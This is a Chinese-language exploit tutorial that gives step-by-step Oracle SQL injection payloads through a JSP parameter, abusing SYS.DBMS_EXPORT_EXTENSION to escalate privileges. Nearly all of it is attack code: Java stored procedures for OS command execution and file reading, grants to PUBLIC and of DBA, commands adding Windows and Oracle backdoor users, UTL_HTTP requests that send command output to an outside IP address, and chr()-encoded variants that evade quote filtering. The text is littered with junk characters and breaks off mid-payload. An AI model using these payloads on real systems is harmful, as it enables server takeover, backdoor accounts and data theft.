6 x2 g) Y; X8 u# z+ \! b+ i2 D% x/ C$ i" I* }
介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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& h+ u6 h# Z5 I( r1 D以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成4 e5 a" J6 ^; {5 F2 \
2 h j0 l @( i' z/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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" x H* E% S7 J( t: W8 g! _的形式即可。(用" 'a'|| "是为了让语句返回true值)7 J; D8 k3 ]; ?' h: g
8 y9 n0 h# s7 v) P语句有点长,可能要用post提交。
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9 Y h+ H' Q Z8 j' ?以下是各个步骤:
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1.创建包# d; `8 h" K) c; g4 I; V
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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4 V2 u( H9 A6 F" D$ b/xxx.jsp?id=1 and '1'<>'a'||( s7 r* {: [. T- ~5 {
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
/ Q9 t2 V) {, t+ Ecreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
, A3 f$ U5 W. r( a1 j8 Cnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}3 {. [) B g) P: |
}'''';END;'';END;--','SYS',0,'1',0) from dual
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如果url有长度限制,可以把readFile()函数块去掉,即:
& z3 ^5 ~1 B' J8 ~0 {/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% B7 z! x; ]5 F2 a, o+ o$ D$ i7 |2 S: Ccreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(. }* H1 ]0 W0 Q/ q2 d2 P
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
0 v* ^1 M# m! _6 K}'''';END;'';END;--','SYS',0,'1',0) from dual; u* I+ [6 y9 R& G3 y
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同时把后面步骤 提到的 对readFile()的处理语句去掉。 e, v4 v) `) q( w
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2.赋Java权限' E+ O4 ]' V# Q0 Z' G
; @, J; [4 i3 w2 @select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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3.创建函数2 L, ?- {# H# V8 A
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- h: [9 o5 _5 g9 E/ X3 A
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual( ^1 U; G; w# r
$ \% S: w. N' E6 H9 Tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* ]' n1 l) x# H" a) k1 D
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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# l( r. o% S3 V1 l+ t, M& Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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) ?8 ]1 ~# q/ Y5.测试上面的几步是否成功
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and '1'<>'11'||($ @0 \* w, b6 R
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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select OBJECT_ID from all_objects where object_name ='LINXREADFILE'1 G# M: ^0 w; d( O9 L
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. L" U1 v9 }$ l6.执行命令:
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/xxx.jsp?id=1 and '1'<>(
3 U3 p$ D5 L8 ?* @3 Dselect sys.LinxRunCMD('cmd /c net user linx /add') from dual6 v4 C+ z4 o Y' Y& d _1 v9 `
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8 v+ }) t! K% J! y" ^% _/xxx.jsp?id=1 and '1'<>(
3 i* I2 E: q* d3 M: Rselect sys.LinxReadFile('c:/boot.ini') from dual3 U1 d$ S1 F* ]2 V3 ?5 Y
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。' A. c. B' u: k
如果要查看运行结果可以用 union :
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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或者UTL_HTTP.request(:1 C4 d: }( b h% l) o4 g, ]
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/xxx.jsp?id=1 and '1'<>(
$ E) P5 Q) @. W YSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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. K G! U ] X6 ?; K/xxx.jsp?id=1 and '1'<>(* c% O7 v! P" f/ V6 A/ }4 F7 q
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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" ~# u% z0 o- z2 R1 t6.内部变化
0 h5 ~ i6 Y- F! i1 b# U3 i, f- c3 j通过以下命令可以查看all_objects表达改变:3 r# ^& S2 T J5 f0 Z( A' d3 K
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'$ \; L& A2 y$ \0 a& E# I
/ @: v* Z( f+ `0 b+ y7.删除我们创建的函数
0 N0 Y, h, h0 d2 Z G3 Tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 h" j- J; ^' {/ v; Adrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================
" l2 D; O7 u3 \: ?全文结束。谨以此文赠与我的朋友。
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124829445
9 X/ P7 q; z! e) k3 E/ @6 W8 t2008.1.12. z, _$ l0 P" e# ^
linyujian@bjfu.edu.cn1 w- z( I% ?* k5 \# c
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) [0 _9 q0 {' u7 C/ T+ K======================================================================
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( C* ?/ ]( U: S* E* N测试漏洞的另一方法:
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创建oracle帐号:% H% [0 s: }/ Z0 v# {* O% y! K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# r ~9 z- L9 ~
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual/ W6 _. x# X( X4 R
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即:+ a2 _+ {* A9 O5 P
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
7 Q$ h3 ^8 a% H$ T1 Bchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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i$ E& Q8 g8 M4 M* }8 y确定漏洞存在:* [6 Y4 w3 ~: u9 _/ P4 y* A+ X, @
1<>(% r& I- ~8 D: y2 i6 S/ q) A
select user_id from all_users where username='LINXSQL'
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给linxsql连接权限:
+ u9 O2 | [+ }: n4 Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 s" d9 H1 @; G
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual$ |5 L. Q/ O3 x3 Z
+ q: v! Y# ~" X" r! _: C. R, O3 R6 R删除帐号:3 _7 |7 d+ S/ j
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 G$ H3 `& s2 f' g, V. e% Gdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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9 L( B' P2 W# F* y1 i# }======================
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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, @4 v4 B. d/ n4 V% h/ f1.jsp?id=1 and '1'<>(
) A* \+ n/ \0 w. B$ e1 P+ h8 a3 aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''# V( \8 R# y9 o5 W) E) G: b
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual7 D# ~& v1 s' \
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* ~* k, s& t; m2 Z7 V6 B' mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>(6 K( q7 w% u9 K* D, m+ f4 D
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
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3 r0 Z& i; Q* b8 w4 B* t; s6 R+ o1.jsp?id=1 and '1'<>(
2 o9 a* W! \* [# tSELECT sys.Linx_Query('declare pragma
' w! t) q0 L! ]' B0 \4 d. v6 r* kautonomous_transaction; begin execute immediate ''8 o7 E+ j/ \. g9 s2 G" n4 P2 Y
select 1 from dual' J3 R7 d, u4 X; o: _
''; commit; end;') from dual! p/ }8 z, V1 m$ ]6 U
) and ...
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- O( s$ g9 G! g, O) Y. C6 ~多语句:; B c) m [% n
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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* _' J! N9 p* k7 u3 U& ?创建用户(除非当前用户有system权限,否则无法成功):
$ q7 w+ a; C/ v1 Z, @9 w" gSELECT sys.Linx_Query('declare pragma
" \, m' T* O |4 y Z I5 bautonomous_transaction; begin execute immediate '' r/ [* e* R6 T7 D$ z& _3 {" E
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User3 L6 C- ]1 Y) B) R
''; commit; end;') from dual" |( P- S9 O1 Y7 R9 F6 a# }; j
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以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()" q. u9 a7 D) W
- V. j) d( M) f# e0 z( r+ }& r/ D1.创建函数: \0 X, \" o( \2 B9 I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 K6 y: O3 [ W3 i" Y
create or replace function Linx_Query (p5 I2 \" \* n" x9 r/ L. @
varchar2) return number authid current_user is begin execute immediate4 L; O2 C0 z. i/ x. V7 P! B% I
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;; z/ s% n- B8 \* z8 O l: Y8 ~
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如果有权限,以下语句应该允许正常8 E$ h3 S& j: b4 D5 e% y
select sys.linx_query('select 1 from dual') from dual;
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不然的话运行:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 B* ^# ]) H! _* cgrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual9 |& _* }" `4 F. Q% v8 m" U4 I) |
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2.创建包
' t3 ^2 c: l$ m7 X; \# \- dSELECT sys.Linx_Query('declare pragma
1 ~& t8 C) ^3 c4 j4 x7 Zautonomous_transaction; begin execute immediate ''
4 j5 V* F+ h6 F" ^/ r# Bcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(/ ~! o9 W7 X* U+ T
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
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3.创建函数9 I( _5 L3 P/ i& b7 F
SELECT sys.Linx_Query('declare pragma
# z2 ]* B% O* w. d, {autonomous_transaction; begin execute immediate '': K! e# W9 y9 v+ E4 ]3 y
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
7 o9 t! `* r+ k! N* [& |' ^3 R- T( c7 Z1 i4 ?5 M5 y7 ]7 U
4.给权限2 V9 f% m' _, [' k
给用户SYSTEM执行权限:$ e* Q3 o* x7 R# S) W ~
: @: m1 W: i0 Z1 \/ S( T1 ?5 {
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual# W, v! J! C+ U$ s8 V j
& i/ B' {) x# @/ y- L
! H% M! S3 }+ N5 u( e" O0 \; z6 y( Y x6 m! \
5.执行函数
* W$ D/ q6 k3 m! L3 Eselect RunCMD2('cmd /c dir') from dual# {5 U+ B/ Y0 |% n* H3 j
5 l" k5 k( u! `- Z, ^, r. h4 U) u, p$ c& }0 n
/ O$ h( I( D; \, D
: @/ h) T8 ^& q& A' ]' B) ] [
; w* L& A5 y- \/ \- A==================" a( _, n! z& B$ o2 ? G% s% z! a4 C' k
================================7 e7 \9 i: o) |3 l7 h; R6 R
9 V% F2 }' y2 V以下是无 " ' " 版:
: M) @! p! n+ T/ ? r9 {" |* s( G: d ~3 C& x# _5 W+ a
以下是各个步骤:
9 L A) L6 D( Z+ T2 k; I6 v) Z+ y
1.创建包( X9 M! X/ L. K: |
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
' T4 y& Y* a! l4 t$ h: y6 K3 u因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:. x, o6 q, t% d, N
8 _4 y8 X9 P3 \5 `3 q4 R( {0 s4 x
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
: w( {- r- e, g' Y% E5 N' {, A# i+ T6 A! ^1 a: z9 ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),% C! E3 i% ]: @! [4 U
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
4 N% a8 [2 G0 U& l: ^chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||( R0 I$ b2 G! M( N
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
0 |0 U: u! ]5 Ychr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||+ y5 r+ ? P+ J" F1 B" w; R
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||, U; z0 P$ ~2 y, I/ s s$ J
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
: A8 X; e; S; ^) z# Echr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
$ I9 _4 q2 V% H! Lchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
1 g& V) N! ?0 Ochr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
. m G2 Z' F: h6 mchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
4 T8 V: D" o+ J \7 Kchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||5 k1 q- t, A7 P. \! i
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||0 [6 e" x# S5 S( F& @- x
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||! @5 l. i4 Q, O& v7 q) h
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||9 | W9 c( X1 G* Z1 A
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
' ?- S" w- V' t+ C$ t# F0 bchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
* b( W$ _# k# jchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
. b- S* z. w# | v' U; kchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||0 S S7 v4 v2 Q0 e% \
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||7 i- j$ m& p. A0 v5 R a: z; t
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||8 m6 A- I9 }7 I$ \
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||1 W X V6 n4 T: n$ \
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||, O( b+ k" a- x5 P9 A1 F: A
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
& z5 g/ i T& K9 B& r! \chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||, r8 G' m* q& _; `+ p4 g
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||4 E) d. v& ]1 ]/ ^+ C' p7 x; e0 a
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
